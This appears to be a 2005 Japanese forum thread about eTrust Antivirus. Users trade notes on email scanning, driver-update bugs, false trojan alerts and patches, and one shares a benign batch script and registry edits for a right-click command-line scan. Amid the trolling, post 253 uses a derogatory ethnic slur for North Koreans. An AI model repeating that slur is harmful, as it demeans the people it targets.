30 :名無しさん@ご利用は計画的に :05/02/10 18:57:20
ニッポン放送株を今日ストップ高で貼り付いていたので
比例狙いで信用全力で買い注文出して、出かけたんですが
今日帰ってきてみると、全部約定してて、株価が1000円近く下がってました。

追証というのは間違いなくくるだろうし、株板ではまだ下がりそうとのこと
今、1600万の損なのですが、どうしようもありません。
マジで焦ってます。

|:::::::::::::::::::::::::::::::  
|" ̄ ゙゙̄`∩:::::: 他人事ながら笑えないよね・・・
|,ノ  ヽ, ヽ:::::::::::::::::::::::::  
|●   ● i'゙ ゙゙゙̄`''、::::::::::::::::
| (_●_)  ミノ  ヽ ヾつ::::::::::
| ヽノ  ノ●   ● i:::: 笑えないよね・・・
{ヽ,__   )´(_●_) `,ミ:::::::
| ヽ   /  ヽノ  ,ノ::::::

149 :名無しさん@お腹いっぱい。:05/02/11 16:08:03
俺は9年ぶりに笑った。

150 :名無しさん@お腹いっぱい。:05/02/11 16:55:26
詳しく無いんだが、キーワードは「乗取りとアメリカ式」
それに気が付いていれば損はしなかったと素人は思うだが。

151 :名無しさん@お腹いっぱい。:05/02/12 22:58:08
このソフトはメールの送受信時にもウイルスチェックするんですか?

152 :名無しさん@お腹いっぱい。:05/02/13 01:14:48
ttp://www.virusbtn.com/vb100/archives/products.xml?table
2003 Serverでだめということは評価が下がるね

153 :名無しさん@お腹いっぱい。:05/02/13 01:25:40
あ、そ

154 :名無しさん@お腹いっぱい。:05/02/13 07:26:59
>>151
はい

155 :名無しさん@お腹いっぱい。:05/02/13 12:57:11
送受信時にはウイルスチェックしない。
リアルタイムスキャンでお知らせ。

156 :名無しさん@お腹いっぱい。:05/02/13 13:34:29
送受信時にもちゃんとしていますよ。メールをスキャンしないだけです。

157 :名無しさん@お腹いっぱい。:05/02/13 19:43:46
>156

>送受信時にもちゃんとしていますよ。メールをスキャンしないだけです。

もっと詳細に教えてください。
これによって購入するかどうか迷ってるため。

158 :名無しさん@お腹いっぱい。:05/02/13 19:53:55
>>157
>>2 のマニュアル読もう。

159 :名無しさん@お腹いっぱい。:05/02/13 20:55:40
どこにも載ってないじゃん。

釣られた?

160 :名無しさん@お腹いっぱい。:05/02/13 21:13:36
>>159
読んで分かんないなら
メールで問い合わせれ

161 :名無しさん@お腹いっぱい。:05/02/14 06:25:24
>160

オメーも知らないんだろ。

162 :名無しさん@お腹いっぱい。:05/02/14 12:27:07
>>152
なんで2003だけ、ダメだったのかな?

163 :名無しさん@お腹いっぱい。:05/02/14 18:31:21
サイトがないね

164 :名無しさん@お腹いっぱい。:05/02/14 19:29:54
>160は、釣り師ですのでご注意ください。

他スレでも、知ったかぶりっ子の赤っ恥書き。

165 :名無しさん@お腹いっぱい。:05/02/14 19:45:10
あほか
分からなければ、問い合わせることが変って...


166 :名無しさん@お腹いっぱい。:05/02/14 20:45:57
問い合わせたら、「メールスキャンはしないと」の回答。

オメー「eTrust EZ Armor 」と勘違い支店だろ。

167 :名無しさん@お腹いっぱい。:05/02/14 21:06:35
この「オメー」はどこにかかるんだ?

168 :名無しさん@お腹いっぱい。:05/02/14 22:41:12
メールスキョンをしないということは、ウイルスメール送信しまくりですか?

169 :名無しさん@お腹いっぱい。:05/02/14 22:53:31
漏れ、今31歳。バリバリのチェリーボーイだぜ!イエー!
チョコなんて母親からも貰ったことないぜ!イエー!
氏にたいぜ!イエー!

170 :名無しさん@お腹いっぱい。:05/02/14 23:08:22
>>168
うん・・・まぁ受信しなかったらまず送信もしないとは思うけど。
NOD32も送信チェックしないね。

171 :名無しさん@お腹いっぱい。:05/02/14 23:50:42
>169
チョコがほしいなら買えばいいじゃない。

172 :名無しさん@お腹いっぱい。:05/02/15 00:00:37
受信でウイルスチェックもしないのは問題ありじゃないか

173 :名無しさん@お腹いっぱい。:05/02/15 00:05:43
最近使い始めてなかなかイイと思ったんだけど、ここはロクなユーザーもいないのか?
リアルタイムメールスキャンは有償版のみ。
だからメール受信時に即チェックするのはフリーにはできない。
ただ、まぎらわしいけどリアルタイムスキャンが添付のウィルスファイルを検知・あとの処分は設定に従う。
わけのわからない添付メールを開かないっていう大原則を守れば問題なしで添付ファイルを削除または移動などを実行(設定に従う)。
と、調べた限りでわかったことだけど、これから使おうとしている奴らにマトモな答えひとつも言えないんだな

このスレはアホだけど、eTrustは悪くないと思う。

174 :名無しさん@お腹いっぱい。:05/02/15 00:07:21
ソケットを横取りしてまでチェックしなくても
メールソフトがウイルスをディスクに書き出した時に
リアルタイムスキャンで引っかかれば問題なし

175 :名無しさん@お腹いっぱい。:05/02/15 05:11:10
ま、eTrsutにフリー版などないわけだが。

176 :名無しさん@お腹いっぱい。:05/02/15 06:39:39
> リアルタイムメールスキャンは有償版のみ。
何とかオプションのことですか?

177 :名無しさん@お腹いっぱい。:05/02/15 07:01:09
会社でeTrsutAntivirus7.1(もち有償版)使ってるけど
リアルタイムメールスキャンは付いてない。

メールを受信してからしばらくすると、リアルタイム感染アラートが
どこそこにこんなウイルスいるよと、教えてくれる。

178 :名無しさん@お腹いっぱい。:05/02/15 10:58:10
今どきメールスキャンがないのは問題

179 :名無しさん@お腹いっぱい。:05/02/15 11:23:47
予防線が幾つもあるにこしたことはないけどね。
書庫対応にしろ、気にする人はすごく気にするわな…

180 :名無しさん@お腹いっぱい。:05/02/15 12:44:40
会社で1日100通前後メール受け取ってるが、
ノートン、ウイルスキラーのように1通づつ
まったりと受け取っていたら仕事にならない。

eTrsutAntivirusはいいねー。

181 :名無しさん@お腹いっぱい。:05/02/15 13:03:46
最近のウイルスはメールから来訪するからね
メール送受信時のウイルスチェックはないよりあった方が良いね

182 :名無しさん@お腹いっぱい。:05/02/15 14:38:40
Driver Update来ました(02/14/05)

183 :名無しさん@お腹いっぱい。:05/02/15 15:24:52
ウプデータン久しぶりだなぁ

184 :名無しさん@お腹いっぱい。:05/02/15 17:30:07
今回のupdateを当てると、
program filesのsharedcomponents\scanengine\arctempに
drvupdi.exeを解凍したものの残骸がそのままになっていたが、
単なる偶然の産物か、ウプデタの不具合か。
これまでうちの環境ではこんなことは一度も無かったので…

185 :名無しさん@お腹いっぱい。:05/02/15 17:48:05

eTrust Antivirus v7 1User日本語版は最近
どこのショップにも置いてねーな。

企業用の10User以上は売ってるのに。

vectorにもないし、amazonにもない。
個人用は撤退したの?



186 :名無しさん@お腹いっぱい。:05/02/15 18:24:22
売れないからでしょ

187 :名無しさん@お腹いっぱい。:05/02/15 21:47:31
>>182
久々だなあ。もう見捨てられてるとおもってたよ

188 :名無しさん@お腹いっぱい。:05/02/16 00:24:33
>>184
Update後に覗いてみたけど何も残ってなかった。
Win2ksp4。

189 :名無しさん@お腹いっぱい。:05/02/16 00:58:48
>>184
>>188に同じく。

190 :名無しさん@お腹いっぱい。:05/02/16 08:55:49
>188,189
ウプデタの不具合ではなかったのね、thanks

191 :名無しさん@お腹いっぱい。:05/02/16 09:36:53
Updateは自動にされないんですか?
自分でUpdateするんですか?

192 :名無しさん@お腹いっぱい。:05/02/16 10:08:02
>>191
わかってて聞いてるのが露骨に出てますね。

193 :名無しさん@お腹いっぱい。:05/02/16 20:42:19
Live Updateってないの?

194 :名無しさん@お腹いっぱい。:05/02/16 20:56:40
nothing


195 :名無しさん@お腹いっぱい。:05/02/16 21:33:23
前スレの355です。

Windows 2000では、Driver Update 09/04/04 Latest Realtime Driver Updateでも同様の不具合ありました。

不具合内容:
Windows 2000では、リムーバブル ディスク(DVD-RAMやSDメモリー)を取り出したあと、「ドライブにディスクがありません。ディスクをドライブ K: に挿入してください。」というようなエラーが表示され、もう一度ディスクを入れないといけない状態になる。

対策:
Driver Update後、eTrust Antivirusのすべてのサービスを停止した状態でC:\WINNT\system32\drivers\ino_fltr.sysをオリジナルのino_fltr.sys 6000.82 01/03/03 に戻し再起動する。
これによりino_flpy.sysだけが6100.102 01/03/03 から66100.109 01/05/05 にUpdateされる。
ftp://ftp.ca.com/pub/inoculan/で入手できる drvupdi.exe.backup.04202004 以降のすべてのDriver Updateを試したが、オリジナル以外はどのバージョンのino_fltr.sysでも不具合がでる。

eTrust Antivirusサービスの停止方法:
eTrust Antivirusアプリケーションを起動する。 メニューから"Scanner" - "Services Manager" を選択しすべてのサービスを停止する。



196 :名無しさん@お腹いっぱい。:05/02/16 21:33:32
1時間おきとかにアップデートスケジュールを組めば無問題

197 :名無しさん@お腹いっぱい。:05/02/17 09:00:36
eTrustってAVGやavastより軽いよね?

198 :名無しさん@お腹いっぱい。:05/02/17 09:30:08
軽くない
ウイルス対策ソフトでは重い方だ

199 :名無しさん@お腹いっぱい。:05/02/17 09:52:05
avastの重さは別格

200 :名無しさん@お腹いっぱい。:05/02/17 12:40:21
ぬるぽウイルス対応してますか?

201 :名無しさん@お腹いっぱい。:05/02/17 20:13:00
ガッウイルス対応しています

202 :名無しさん@お腹いっぱい。:05/02/17 20:52:06
>198

のパソコンはあボーンなパソコン」なり。

ufufu.


203 :名無しさん@お腹いっぱい。:05/02/17 21:24:36
AVGとavast試したがeTrustが一番スキャンが早いな。
eTrustが13分、他のAVGとavastは30分以上かかった。

204 :名無しさん@お腹いっぱい。:05/02/17 21:40:20
>>203
デフォルト設定だとね。
一番詳細なスキャン設定にすると、他の詳細に設定したソフトとあまり変わらなかったな。
まぁ、数ヶ月前に調べた話だけど。

205 :名無しさん@お腹いっぱい。:05/02/17 22:13:28
速ければ速いで、なんか不安になる
安かろう、悪かろうみたいに...

206 :名無しさん@お腹いっぱい。:05/02/17 22:22:16
ぬるぽウイルスには対応してないよ

207 :名無しさん@お腹いっぱい。:05/02/17 22:58:45
>>185
ETRAVE7101BPMJ でぐぐると売ってそうなところはあるよ

208 :名無しさん@お腹いっぱい。:05/02/17 23:12:21
AVG7より重い?

209 :名無しさん@お腹いっぱい。:05/02/18 12:08:23
>>482-483
乗り換え案内試してみたら東京経由で早くなる場合はほとんど無かったぞ。
とりあえず品川で降りて、渋谷行きの山手線と東海道・横須賀線で
先に来た方に乗るのが一番早い。

210 :名無しさん@お腹いっぱい。:05/02/18 12:08:54
すいません。
スレを間違えました。

211 :名無しさん@お腹いっぱい。:05/02/18 12:28:30
ソッカー('・c_・` )

212 :名無しさん@お腹いっぱい。:05/02/18 15:20:07
>>209
参考になりました。

213 :名無しさん@お腹いっぱい。:05/02/18 16:34:50
eTrustは何線なんだよヽ(`Д´)ノ

214 :名無しさん@お腹いっぱい。:05/02/18 17:51:55
前立腺

215 :名無しさん@お腹いっぱい。:05/02/18 21:08:48
いい線

216 :名無しさん@お腹いっぱい。:05/02/19 19:10:03
かっぱえびせん(・∀・)

217 :名無しさん@お腹いっぱい。:05/02/19 19:18:43
食いてぇー!

218 :名無しさん@お腹いっぱい。:05/02/20 20:13:01
eTrustをインストールしたら
Ctrlキーが取れちまったヽ(`Д´)ノ

219 :名無しさん@お腹いっぱい。:05/02/20 20:17:33
病気だったんだよ
ティンコ触った手でctrl押してたんじゃないか?


220 :名無しさん@お腹いっぱい。:05/02/21 12:49:20
eTrustがいいって言う人って器小さいよね?
そういうやつは何も行動しないで、人がしてること文句ばっか言って自分は何も出来ないチキン野郎なんでしょうか?

221 :名無しさん@お腹いっぱい。:05/02/21 13:04:53
どうでもいいが、風邪ひいたやつは外に出ないで欲しい。
よくいるよな、ごほごほズルズル言わせて「頑張ります!!」って
出てくるやつ。
ひょっとしてウツシタイのだろうか

222 :名無しさん@お腹いっぱい。:05/02/21 13:07:30
>>220
自己紹介ですか?

223 :名無しさん@お腹いっぱい。:05/02/21 14:35:52
>>220
自省

224 :名無しさん@お腹いっぱい。:05/02/21 16:37:28
>>221
せめてマスク着用はOKにしてくれ

225 :名無しさん@お腹いっぱい。:05/02/21 17:43:23
>>221
eTrustを入れろよ
ウイルスの心配はなくなるぞ

226 :名無しさん@お腹いっぱい。:05/02/22 23:03:51
>>220
そこ!早く作業に戻れ!

227 :名無しさん@お腹いっぱい。:05/02/22 23:39:32
やっぱ、作った人の顔が見える製品って、安心できるよね。

228 :名無しさん@お腹いっぱい。:05/02/23 09:43:07
なんで?

229 :名無しさん@お腹いっぱい。:05/02/23 15:20:24
ビルゲイシとかな

230 :名無しさん@お腹いっぱい。:05/02/23 23:34:44
>>227
産直の野菜かよっ

231 :名無しさん@お腹いっぱい。:05/02/24 12:36:27
青森市

232 :名無しさん@お腹いっぱい。:05/02/25 12:44:47
青森市に新幹線が開通すると、東北では仙台の次に発展した街になるそうだ。

即ち、eTrustは優れたソフトであると定義できる。

233 :名無しさん@お腹いっぱい。:05/02/25 13:40:33
eTrustが青森産ならな・・・

234 :名無しさん@お腹いっぱい。:05/02/25 14:13:26
静岡で採れるらしいぞ

235 :名無しさん@お腹いっぱい。:05/02/25 17:19:02
実は鹿児島産が45%混ざっている

236 :名無しさん@お腹いっぱい。:05/02/25 19:45:36
おもしろくなってきたなこのスレ。

237 :名無しさん@お腹いっぱい。:05/02/25 22:48:36
そうか?
今はソフト自体にこれといった話題がないからスレが荒らされるのも仕方がないのかな。

238 :名無しさん@お腹いっぱい。:05/02/25 23:07:29
話題が無いと荒らされるってのも困ったもんだな

239 :名無しさん@お腹いっぱい。:05/02/25 23:20:07
特別に不具合もないし安定感あるからな

240 :名無しさん@お腹いっぱい。:05/02/26 00:21:20
更新履歴をうだうだ書かれるよりはマシだしょ

241 :名無しさん@お腹いっぱい。:05/02/26 02:01:45
いや荒らされるぐらいならそっちの方がいいんだが・・・

242 :名無しさん@お腹いっぱい。:05/02/26 04:35:39
どっちにせよ荒れるよ。AntiVirスレを見てきなよ。
反面Bitやewidoスレは安定している。一行に収まってる点か。または人口か。


243 :名無しさん@お腹いっぱい。:05/02/26 12:42:01
???
7.1トライアル版入れて1ヶ月たったんだけど、普通に使えてます。
これもしかして使用期限無いの?

244 :名無しさん@お腹いっぱい。:05/02/26 17:13:39
ノートン = 東京
バスター = 大阪
マカフィ = 名古屋
eTrust = 青森

245 :名無しさん@お腹いっぱい。:05/02/26 17:26:14
青森ってメジャーにそんなに近かったのかぁ。

246 :名無しさん@お腹いっぱい。:05/02/26 19:17:20
みなさん、ラブリッジ!

247 :名無しさん@お腹いっぱい。:05/02/26 19:22:57
Antidote = 山口
AntiVir = 福岡
avast! = 新潟
AVG = 静岡
BitDefender = 京都

248 :名無しさん@お腹いっぱい。:05/02/26 19:26:38
それなんか意味あるのか?

249 :名無しさん@お腹いっぱい。:05/02/26 20:47:20
あるわけないじゃん。

250 :名無しさん@お腹いっぱい。:05/02/26 20:59:52
eTrust = 佐渡島

251 :名無しさん@お腹いっぱい。:05/02/27 18:07:57
地名馬鹿は巣へ帰ってくれ

252 :名無しさん@お腹いっぱい。:05/02/27 19:24:40
avastスレから出てくるな

253 :名無しさん@お腹いっぱい。:05/02/27 20:05:54
avast! = 北チョン (avastマンセーマンセーとしか言わんから)

254 :名無しさん@お腹いっぱい。:05/02/27 20:22:25
煽りすぎ

255 :名無しさん@お腹いっぱい。:05/03/02 12:36:52
eTrustとかけて

256 :名無しさん@お腹いっぱい。:05/03/02 15:30:23
eTrustととく

257 :名無しさん@お腹いっぱい。:05/03/02 15:32:29
その心は?

258 :名無しさん@お腹いっぱい。:05/03/02 15:37:13
eTrust

259 :名無しさん@お腹いっぱい。:05/03/02 20:26:46
はらたいらに全部

260 :名無しさん@お腹いっぱい。:05/03/02 21:02:03
ええぞ、ええぞ。

261 :名無しさん@お腹いっぱい。:05/03/02 21:10:01
事務局長に全部

262 :名無しさん@お腹いっぱい。:05/03/02 22:58:08
今日突然Vetじゃない方がNSIS使ってるソフトに反応したんだけど、
そんな感じの人いませんかね?

263 :名無しさん@お腹いっぱい。:05/03/03 00:00:57
>>262
まったく同じではないのだが、DivX5.2.1かな。あれが反応して駆除された。
vetは反応なし。DivXのサイトから再度ファイルをダウンロードしてみたが
ファイル自体が感染しているようなメッセージが・・・。誤認識かな。
CAのサイトみたがInoculateの方だけ既に最新がでてるしw

264 :名無しさん@お腹いっぱい。:05/03/03 00:01:45
>>262
Win32/Zapchast.158366!Trojan?
Antidoteでスキャンしなおしたけど問題なかったよ

265 :名無しさん@お腹いっぱい。:05/03/03 00:06:17
>>264
263だけど、そいつだよ。俺もでた。何なのかな・・・。

266 :名無しさん@お腹いっぱい。:05/03/03 00:24:36
それらは、あきらかにご認識っぽいな

267 :名無しさん@お腹いっぱい。:05/03/03 09:19:18
>>263
俺もノシ 
あとインストールしたことすら忘れてたけどffdshowとかいうソフトも同じトロイとして削除された。

268 :名無しさん@お腹いっぱい。:05/03/03 09:24:47
ちなみにDivXもffdshowもuninstoall.exeが削除された。

269 :名無しさん@お腹いっぱい。:05/03/03 09:27:08
× uninstoall
○ uninstall

270 :名無しさん@お腹いっぱい。:05/03/03 09:35:02
連書きすまぬ。
スキャンして引っ掛かったなら誤認識も考えられるけど、
突然リアルタイムスキャナが反応したってことは、トロイが活動始めたってことじゃないの?

271 :263:05/03/03 13:01:48
>>270
すまぬ。反応ではなく「スキャンして引っ掛かった」方です。すまぬ。
ついでに、昨夜と今朝辺りに連続してInoculateのシグネチャ更新されてて
最新でやってみたら無問題。DivXのサイトからもOK。

非常に黒いな、CA …。

272 :名無しさん@お腹いっぱい。:05/03/03 18:49:44
eTrust Antivirus 7.0の日本語正式版を個人で使っています。
ユーザー登録から2年近く、1回もCAJから何の音沙汰も無かったのですが、
今朝このページと同文のメールが届きました。
http://www.casupport.jp/resources/info/050301security_notice.htm
ちなみに、PCにはlic98version.exeは存在せず、lic98rmt.exeのバージョン
はプロパティを見ると「ファイルバージョン 0.0.1.52」となっています。
この脆弱性対策パッチは私に関係あるのでしょうか??

273 :270:05/03/03 19:45:19
>>271
俺の方は知らないうちに駆除されてた。
スキャンしてないのになぜだろう???

274 :名無しさん@お腹いっぱい。:05/03/03 23:05:21
>272
From:が3F=3F=3F=3F=3F=3F=3F=3F=3F=3F=3F=3F=3F=3F=のmailのこと?
仮にもセキュリティを売物にしている会社が出したmailとは思え
なかったので読まずにゴミ箱送りにしてたよ。
http://www.caj.co.jp/support/info/050303apology.htm

んで読み直してみたが確かに何が書いてあるのかわけわからんな。

275 :270:05/03/03 23:49:03
それはそうと皆アラートポップアップしてる?
俺のは出ない。設定は間違いないはずなのに。

276 :名無しさん@お腹いっぱい。:05/03/03 23:55:28
自分は出るけど・・・
Messengerの開始もバッチ作って自動にしちゃったし

277 :名無しさん@お腹いっぱい。:05/03/04 01:25:43
これコマンドラインからInocmd32.exeでチェックできるのか...
右クリックからスキャンするのと、置き換えたらいい感じに
なりそうな予感がする

278 :270:05/03/04 09:48:10
>>276
>Messengerの開始もバッチ作って自動にしちゃったし

スキルのある香具師はいいなぁ・・・俺にはサパーリだOrz

279 :名無しさん@お腹いっぱい。:05/03/04 19:51:10
eTrust7.1トライアル入れました。
パッチはdriver updateのみでいいのかな?
わからないのでそれしか入れてないんだけど。

280 :名無しさん@お腹いっぱい。:05/03/04 21:34:41
>>279
>5


281 :279:05/03/04 22:37:11
これって7.0用ですよね?
照らし合わせて確認しれってことっすか。
がんばってみます。

282 :名無しさん@お腹いっぱい。:05/03/04 23:54:50
>>278
そんな難しくない
Batの書き方とnet start、net stop コマンドだけ

俺のは自動にしてあるし再起動しなくても出るし

283 :名無しさん@お腹いっぱい。:05/03/05 11:51:39
eTrust板経由で公式HP見てきたけど、イマイチわかりにくい。

結局どれをダウンロー曾するのってカンジだわ。

284 :名無しさん@お腹いっぱい。:05/03/05 11:52:04

あ、誤爆

285 :名無しさん@お腹いっぱい。:05/03/05 12:46:02
悪かったなわかりにくいHPで
と関係者でもないのに言ってみた

286 :名無しさん@お腹いっぱい。:05/03/05 18:26:17
>>283
そう言いつつ使ってみたりして。

右下のモニターがかわいいね。
CPU150MHZでも快適。

WIN95だけど>>3の7.0用パッチ全部あてる必要あるのですか?
ずいぶんあるようですが。

287 :名無しさん@お腹いっぱい。:05/03/05 18:56:52
      ,.イ" | / / / /~`'''ー-、
     //~`ヾ、;;;;ソ'''''''''ヾ、   ,.ヽ ヽ
    /:,:'       ,....  ゞ 彡 彡、ノ )
    !/  ~`ー'",..- ...   〉     ! (
     i   ̄~`        !  彡  |ノ    いつもお店きてくれてありがとね
    ,i ,.- 、 ゝ " '" ~ ~`  ヾ ,,--、 |
   /         _    ヾ"r∂|;!
   ヾ` '⌒` ;::   "~ ~` 彡  r ノ/      お店 続けられなくなっちゃったんだよ
    i    ノ           _,,.:'
    ヽ ノ"( 、_,..:ー'"ヽ、 : : :   ,i /
    ヽ、 ,. :: ::  ヽ      ノ:|ラ:)`ヽ、     ごめんね 、 ごめんね ・・・・・・
      ヽ、`''''"""''''" '  ,,..-'" //   \-、


288 :名無しさん@お腹いっぱい。:05/03/05 18:59:36
それで?

289 :名無しさん@お腹いっぱい。:05/03/05 20:18:57
>>287
アビル板に帰ってくれ。

290 :名無しさん@お腹いっぱい。:05/03/06 01:04:54
>>286
Windowsと比べたら少ないだろ

291 :名無しさん@お腹いっぱい。:05/03/06 21:25:41
SP2を入れてても問題なく作動しますか?

292 :名無しさん@お腹いっぱい。:05/03/06 21:41:33
シラネ

293 :名無しさん@お腹いっぱい。:05/03/06 21:54:03
>>291
un

294 :名無しさん@お腹いっぱい。:05/03/07 00:55:46
>>291
問題なく動いてるが
98で使ってた時はワードパッド使うと謎のハングアップが頻発したけど

295 :名無しさん@お腹いっぱい。:05/03/07 21:56:57
>>290

296 :名無しさん@お腹いっぱい。:05/03/07 22:03:01



>>290
パッチ and アップデート
いまだによくわかりませぬ。

Download Signature Nowで落ちてくるものとは違うんですかね?
解凍の方法なんかは、昔のIBMのドライバーのHPを思い出しましたよ。



297 :277:05/03/07 23:26:07
コマンドラインのバッチ作ってみた
デフォルトのeTrust shell scanはチェックするのに、いちいち
実行ボタンを押さないと始まらないし、終了後もそのまま居座り続ける
のがウザイ人におすすめ。
コマンドラインのオプションの詳細はヘルプの
「Using Command Line Scanner -- INOCMD32」に記載されてます

=====C:\Documents and Settings\USER\shell_etrust.bat=====
@echo off
echo マダァ-? ^(・∀・ ^)っ/凵⌒☆チンチン
Inocmd32.exe -ENG Ino -MOD Secure -SPM H -ARC -ACT Rename -APP:"%USERPROFILE%\scaninfo.log" %1

if errorlevel 1 (
set abc=1
echo.
echo なんかいるよ^(´ヘ`;^)
)

for %%F in ("%USERPROFILE%\scaninfo.log") do if %%~zF GTR 300000 (
set abc=1
echo.
echo %%~F
echo ログファイル大きいよヽ^(`Д´^)ノ
)
if %abc%==1 echo. && pause
========================================================

見れば分かると思いますが、ホームディレクトリにscaninfo.log
を勝手に作って、結果を追記していきます。
上のバッチでは300000バイト以上で警告を発するようになります。
ウイルスが見つかったり、ログファイルの警告が出たり、
なんらかの異常が発生したときのみ、ウィンドウが閉じません。

298 :277:05/03/07 23:27:12
●右クリックメニューから使うには
※バックアップはとっておいてね
・まずeTrustの右クリックメニューを消す
ファイル右クリックは
[-HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers\InoShell]
フォルダ右クリックは
[-HKEY_CLASSES_ROOT\Directory\shellex\ContextMenuHandlers\InoShell]
これらのキーを削除

・次に新しい右クリックメニューを作る
ファイルは
[HKEY_CLASSES_ROOT\*\shell\shell_eTrust]
@="eTrust Scan"
[HKEY_CLASSES_ROOT\*\shell\shell_eTrust\command]
@="\"C:\\Documents and Settings\\USER\\shell_etrust.bat\" \"%1\""
フォルダは
[HKEY_CLASSES_ROOT\Directory\shell\shell_eTrust]
@="eTrust Scan"
[HKEY_CLASSES_ROOT\Directory\shell\shell_eTrust\command]
@="\"C:\\Documents and Settings\\USER\\shell_etrust.bat\" \"%1\""
エスケープされて見にくいですが、これは.regファイルコピペだからです。
パスとかも適宜読み替えてくだされ。@はxpのregeditで見ると「既定」というエントリです。

この方法だと、ファイル1個またはフォルダ1個を
右クリックしたときのみにしか、使えません。
ドライブの右クリックは引数が上手く渡せなかったので見送り。

●バッチファイルにドラッグ&ドロップして使うには
shell_etrust.batの最初の方にある「%1」を「%*」にすることで
複数ファイル&複数フォルダ、ドライブに対応できます。
ファイラとかの拡張にも相性いいんではないかな。

299 :名無しさん@お腹いっぱい。:05/03/07 23:35:28
あとバッチ処理中にやめたくなったら「Ctrl-C」ね

本当は上のスクリプト中の
「なんかいるよ^(´ヘ`;^)」のあとに「Ctrl-G」の制御コードいれて
アラームなるようにしてたんだが、コピペしたら消えてしまった

詳しい人、いろいろ改良してくんろ

300 :名無しさん@お腹いっぱい。:05/03/08 04:39:40
\"%1\"を%1にすればドライブでも逝けるんじゃ
eicarをちゃんと引っかけたよ


Inocmd32.exe -ENG Ino -MOD Secure -SPM H -ARC -ACT Rename -APP:C:\Documents and Settings\*****\scaninfo.log F:\

File F:\test\scantest\eicar_com.zip is infected by virus: EICAR_test_file, and has been renamed to F:\test\scantest\eicar_com.zip.0.AVB
Total Files Scanned:   1566
Total Viruses Found:  1
Total Infected Files Found:  1
Total Renamed Files:   1
Scan Mode:   Secure

301 :名無しさん@お腹いっぱい。:05/03/08 04:45:45
>>296
全部落として解凍したファイルを見て
Driver Update
QO45745
QO46140
QO49607
QO50561
QO59950
QO60999
だけ入れてる>win98

302 :名無しさん@お腹いっぱい。:05/03/08 11:28:38
>>301
eTrustのアップデートって、説明文読むと
旧ファイルをリネームして、新しいファイルをコピーするってことですよね。
解凍以外は全部手動なんですね。。
うちWin95


303 :名無しさん@お腹いっぱい。:05/03/08 20:58:00
>>300
情報ありがと

ということで
[-HKEY_CLASSES_ROOT\Drive\shellex\ContextMenuHandlers\InoShell]
を削って、
[HKEY_CLASSES_ROOT\Drive\shell\shell_eTrust]
@="eTrust Scan"
[HKEY_CLASSES_ROOT\Drive\shell\shell_eTrust\command]
@="\"C:\\Program Files\\0app\\shell_etrust.bat\" %1"
これを追加すれば、ドライブでも大丈夫

ドライブなどファイル数が多いと、処理の進み具合がわからないので
-COU:500
こんなオプションをつけるとファイル500個毎に報告してくれます
...とはいうものの、ドライブはeTrust標準のshell scanで処理した方が
ログも統計的に見れるし、処理速度も速いような気がするので微妙

304 :名無しさん@お腹いっぱい。:05/03/09 08:43:18
>297、300
便利な情報おつです。

で、恥ずかしながらバックアップでとったレジストリ間違って消してしまったよorz
誰かデフォルトでの

[HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers\InoShell]

[HKEY_CLASSES_ROOT\Directory\shellex\ContextMenuHandlers\InoShell]

[HKEY_CLASSES_ROOT\Drive\shellex\ContextMenuHandlers\InoShell]

の情報うpよろしくお願いします。


305 :名無しさん@お腹いっぱい。:05/03/09 09:08:43
全部これ
@="{DCED20BE-3645-11D4-BC95-00C04F0E0588}"

306 :名無しさん@お腹いっぱい。:05/03/09 12:00:59
神様、UPデートしたいんです・・・

307 :304:05/03/09 15:30:55
>>305
thx


308 : :05/03/11 12:14:06
WinXP SP2上で
eTrust Antivirus+Sygate Personal Firewall
の組み合わせで使っています。

eTrust Antivirusのトラフィクを、
Sygate Personal Firewallで許可しているにもかかわらず、
Signatureのダウンロードでエラーが出るのは、
Windowsファイアーウォールが有効になっていたせいだと
気づきました。

皆さんにお伺いしたいのですが、
WinXP SP2上で、
eTrust Antivirus+Firewallの組み合わせで使う場合、
Windowsファイアーウォールは無効にしているのですか?

それとも、テンプレ 5 の
>QO60344 XPSP2で、WindowsFirewallを使用しており、
且つ手動でポートを開けられないユーザ向け(個人使用の場合)
のバッチが有効なのでしょうか?

よろしくお願いします。

309 :名無しさん@お腹いっぱい。:05/03/11 13:12:44
FirewallはwindowsデフォのやつとSygateのと
二つ動かしてるみたいだけど、常時どっちか片方でいいよ

で、もしwindowsデフォ一本に絞り、
自分で適切な設定できないようならQO60344のパッチを
当てればよさげ
Sygateを選ぶなら、自分で設定しないとシグネチャーの
ダウンロードできないだろうね

ttp://eazyfox.homelinux.org/
このサイトみて自分で設定できるように精進しる

310 :272:05/03/11 23:25:43
再びCAJからメールが来ました。
今度は自動翻訳による日本語ではなく、ちゃんと日本人が書いたもののようです。
この中にFAQのURLがあったので紹介しておきます。
http://www.casupport.jp/resources/info/050301security_faq.htm
とりあえず自分は関係なかったようです。

311 :308:05/03/11 23:31:43
>>309
少し前までWin98SE上で、
eTrust Antivirus+Sygate Personal Firewallを
使っていたので、Windows Firewallの存在について
よく知りませんでした。

わかりやすい返答にFirewallの解説サイトまで紹介していただき、
ありがとうございました。

312 :名無しさん@お腹いっぱい。:05/03/12 16:43:28
ちょっと気が向いて日本語化してみたんだけど、ポップアップアラートも
ちゃんと日本語になっててびっくり。
もっと早く日本語化しとけばよかったよ。今更ながら作者に感謝!m(__)m

313 :名無しさん@お腹いっぱい。:05/03/16 13:02:20
QO6550103/15/05NT -CUMULATIVE FIX 501 FOR EAV 7.1
http://supportconnect.ca.com/sc/solcenter/sol_detail.jsp?aparno=QO65501&os=NT&returninput=0

累積パッチが出てた。

314 :名無しさん@お腹いっぱい。:05/03/16 20:24:52
前スレに亀レス
http://pc5.2ch.net/test/read.cgi/sec/1090189587/322
322 名前:名無しさん@お腹いっぱい。:04/09/11 19:10:50
今どのパッチが当たってるか知る方法ってない?
必要なの全部当たってるか自信ないんで・・・


>Version: 7.0、7.1
>OS: WIN2000、WIN/NT、WINXP

>Q: eTrust Antivirus 7.xを稼動するワークステーション上で、どのeTrust Antivirusパッチがインストールされているかを調べるにはどうすればよいですか?

>A: 以下のレジストリ キーに、ワークステーション上のインストール済みeTrust Antivirusパッチに関する情報が含まれていま。

>HKEY_LOCAL_MACHINE\SOFTWARE\ComputerAssociates\eTrustAntivirus\Patches
ttp://www.casupport.jp/resources/etrustav/faq/

315 :名無しさん@お腹いっぱい。:05/03/16 22:03:38
>>314
CurrentVersionが抜けてないか?
手動のやつは乗ってないのかな?

316 :名無しさん@お腹いっぱい。:05/03/18 14:24:36
eTrustを性器に購入する場合、企業しかダメなんですか?
